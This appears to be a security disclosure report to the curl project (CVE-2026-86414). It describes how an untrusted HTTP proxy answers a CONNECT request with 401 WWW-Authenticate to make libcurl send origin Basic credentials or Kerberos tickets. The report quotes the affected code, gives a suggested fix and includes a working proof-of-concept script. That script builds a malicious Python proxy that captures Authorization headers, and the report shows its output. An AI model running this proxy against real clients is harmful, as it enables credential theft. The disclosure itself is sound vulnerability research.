curl · Report #3993566
CVE-2026-86414: leaking host credentials to HTTP proxy
How it was found
Hi all,
I've found that found that an untrusted HTTP proxy can trick libcurl into sending the origin's credentials (Basic password, or a Negotiate/Kerberos ticket) to the proxy itself, by answering the CONNECT tunnel request with 401 WWW-Authenticate instead of the expected 407 Proxy-Authenticate. Yes, the dreaded and well-known, "malicious proxy".
The bug
Both the H1 and H2/H3 CONNECT-response handlers decide whether a header applies to the proxy or the origin purely by status code:
// lib/http_proxy.c:491-501 (Curl_http_proxy_inspect_tunnel_response, H2/H3)
if(resp->status == 401) {
auth_reply = Curl_dynhds_cget(&resp->headers, "WWW-Authenticate");
}
else if(resp->status == 407) {
auth_reply = Curl_dynhds_cget(&resp->headers, "Proxy-Authenticate");
}
if(auth_reply) {
...
result = Curl_http_input_auth(data, resp->status == 407,
auth_reply->value);
// lib/cf-h1-proxy.c:396-406 (on_resp_header, H1)
if((checkprefix("WWW-Authenticate:", header) && (401 == k->httpcode)) ||
(checkprefix("Proxy-authenticate:", header) && (407 == k->httpcode))) {
bool proxy = (k->httpcode == 407);
char *auth = Curl_copy_header_value(header);
...
result = Curl_http_input_auth(data, proxy, auth);
Both call Curl_http_input_auth(data, proxy, ...) with proxy = (status == 407). For a 401 — which is what our malicious proxy returns — proxy is false, and Curl_http_input_auth updates data->state.authhost, the origin's auth state, not the proxy's:
// lib/http.c:1067
CURLcode Curl_http_input_auth(struct Curl_easy *data, bool proxy,
const char *auth)
{
...
if(proxy) {
availp = &data->info.proxyauthavail;
authp = &data->state.authproxy;
}
else {
availp = &data->info.httpauthavail;
authp = &data->state.authhost;
}
There is nothing anywhere in this call chain that knows "we are still inside CONNECT, talking to the proxy, not the origin." A 401/WWW-Authenticate at this point is entirely proxy-controlled input, but it is processed exactly as if it came from the real origin server.
Once authhost.picked is set this way (e.g. to CURLAUTH_BASIC), curl retries the CONNECT request, and output_auth_headers() — which decides what to attach to any request, including the CONNECT itself — has no check preventing it from firing before the tunnel exists:
// lib/http.c: output_auth_headers(), Basic branch
if(authstatus->picked == CURLAUTH_BASIC) {
if(
(proxy && conn->http_proxy.creds && ...) ||
(!proxy && data->state.creds &&
Curl_creds_has_user_or_pass(data->state.creds) &&
!Curl_checkheaders(data, STRCONST("Authorization")))) {
auth = "Basic";
result = http_output_basic(data, conn, proxy);
proxy=false here means it emits a plain Authorization: Basic <origin creds> header – not Proxy-Authorization – directly on the CONNECT line sent to the proxy. For Negotiate, the same poisoning makes auth_spnego() set data->req.newurl, which triggers a CONNECT retry that computes and sends a real Kerberos service ticket for the origin to the proxy instead.
Impact
Any proxy an application is configured to route through (CURLOPT_PROXY) can harvest the origin credentials (CURLOPT_USERPWD, or a Kerberos ticket) that were only ever meant to reach the origin server, simply by answering the tunnel setup with a 401 instead of a 407. This works even when the caller uses --anyauth/CURLAUTH_ANY specifically to avoid sending credentials until challenged — the proxy manufactures the challenge itself, on behalf of a host it doesn't own.
Preconditions: CURLOPT_PROXY configured, origin credentials set (data->state.creds non-NULL), CURLOPT_HTTPAUTH includes a method the proxy can advertise (Basic is enough), and CURL_DISABLE_PROXY/CURL_DISABLE_HTTP off (both default off).
PoC
Malicious proxy: on the first CONNECT, replies 401 WWW-Authenticate: Basic instead of tunneling; on the retry, establishes the tunnel and records whatever cleartext request curl sends through it.
#!/bin/sh
# Reproduction: untrusted HTTP proxy poisons ORIGIN auth state (data->state.authhost)
# by answering a CONNECT tunnel request with "401 WWW-Authenticate: Basic".
# The shipped libcurl then preemptively sends the operator-configured ORIGIN
# credentials over the cleartext proxy tunnel, where the proxy reads them --
# even though --anyauth normally withholds credentials until challenged.
#
# Env overrides (sensible defaults for the build container):
# VF_PORT - loopback port for the malicious proxy (default 8991)
# VF_MARKER - marker path the proxy creates on leak (default /tmp/vf-cred-leak)
set -e
MODE="$1"
PORT="${VF_PORT:-8991}"
MARKER="${VF_MARKER:-/tmp/vf-cred-leak}"
WORK="$(mktemp -d)"
# --- setup (runs in both arms; must not depend on MODE for its EFFECT) ---
rm -f "$MARKER"
cat > "$WORK/proxy.py" <<'PY'
import socket, sys, os
MODE=sys.argv[1]; PORT=int(sys.argv[2]); MARKER=sys.argv[3]
srv=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
srv.bind(("127.0.0.1",PORT)); srv.listen(1)
sys.stdout.write("LISTENING\n"); sys.stdout.flush()
def rd(c):
d=b""; c.settimeout(5)
try:
while b"\r\n\r\n" not in d:
ch=c.recv(4096)
if not ch: break
d+=ch
except Exception: pass
return d
try:
srv.settimeout(15)
c,_=srv.accept()
rd(c) # CONNECT #1
if MODE=="exploit":
# attack: answer CONNECT with an ORIGIN 401 challenge, poisoning authhost
c.sendall(b"HTTP/1.1 401 Unauthorized\r\n"
b'WWW-Authenticate: Basic realm="o"\r\n'
b"Content-Length: 0\r\n\r\n")
rd(c) # CONNECT retry
# control: benign proxy, no 401 poisoning
c.sendall(b"HTTP/1.1 200 Connection established\r\n\r\n")
tun=rd(c) # the cleartext tunneled ORIGIN request, produced by shipped curl
# Marker creation depends ONLY on what shipped curl transmitted, identically
# in both arms -- the harness stats the file itself.
if b"\r\nAuthorization: Basic " in tun or tun.startswith(b"Authorization: Basic "):
open(MARKER,"w").write("origin credential observed by proxy\n")
try:
c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nhi")
c.close()
except Exception: pass
except Exception as e:
sys.stderr.write("proxy error: %r\n"%(e,))
PY
# start the malicious proxy and wait until it is listening
python3 "$WORK/proxy.py" "$MODE" "$PORT" "$MARKER" > "$WORK/proxy.out" 2>&1 &
PXPID=$!
i=0
while [ $i -lt 50 ]; do
grep -q LISTENING "$WORK/proxy.out" 2>/dev/null && break
i=$((i+1)); sleep 0.1
done
grep -q LISTENING "$WORK/proxy.out" || { echo "proxy failed to start"; cat "$WORK/proxy.out"; exit 1; }
# everything is up and the shipped runtime is about to be exercised
: > "${VF_READY:-/dev/null}"
# --- exercise the shipped curl exactly once ---
# -p/--proxytunnel forces CONNECT even for an http:// origin, so the origin
# request travels through the proxy-controlled cleartext tunnel.
# --anyauth means curl should NOT send credentials until challenged BY THE ORIGIN.
timeout 30 curl -s -o /dev/null \
-x "http://127.0.0.1:${PORT}" -p \
-u SECRETUSER:SECRETPASS --anyauth \
"http://origin.test/path" || true
wait "$PXPID" 2>/dev/null || true
echo "=== proxy log ($MODE) ==="; cat "$WORK/proxy.out"
echo "=== marker present? ==="; ls -l "$MARKER" 2>/dev/null && echo "MARKER EXISTS" || echo "no marker"
We run it with sh ./reproduce.sh exploit. Result: on the exploit run, the marker file appears — the proxy observed Authorization: Basic on the tunneled request:
=== proxy log (exploit) ===
LISTENING
=== marker present? ===
-rw-r--r-- 1 root root 36 Sep 2 11:34 /tmp/vf-cred-leak
MARKER EXISTS
On the control run (sh ./reproduce.sh control) (proxy replies 200 Connection established immediately, no 401), the marker never appears — no Authorization header is sent, exactly as --anyauth promises. Same client flags, same origin, the only variable is whether the proxy injects a 401 during CONNECT.
Where it came from
The root cause is since 52ceab5e41 (2003-09-03, "Re-arranged code to make the proxy-CONNECT loop able to do some of the authentication negotiations needed for NTLM, Digest etc."), the CONNECT-tunnel response parser has shared the same 401 → WWW-Authenticate → origin auth state logic used for real origin responses, distinguishing proxy vs. origin purely by status code (401 vs 407) rather than by why the response was received. Every later rewrite of the proxy-tunnel code (the 2016 http_proxy.c restructure, the 2022–2023 connection-filters split into cf-h1-proxy.c/cf-h2-proxy.c, and this year's HTTP/3 CONNECT/MASQUE support in http_proxy.c) carried the same status-code-only logic forward unchanged. It's present at current main (38703fe2, 2026-09-02).
Suggested direction
While a CONNECT tunnel is being negotiated, a 401/WWW-Authenticate from the proxy should either be ignored or treated as proxy-scoped, never routed into data->state.authhost. Concretely: pass an explicit "we are tunneling, not talking to the origin yet" flag into Curl_http_input_auth() (or refuse to call it at all for 401 during CONNECT), and make sure authhost state can't leak into a CONNECT retry's Authorization header before the tunnel is actually established.
Cheers, Josh
Impact
Origin credentials may be leaked to proxy.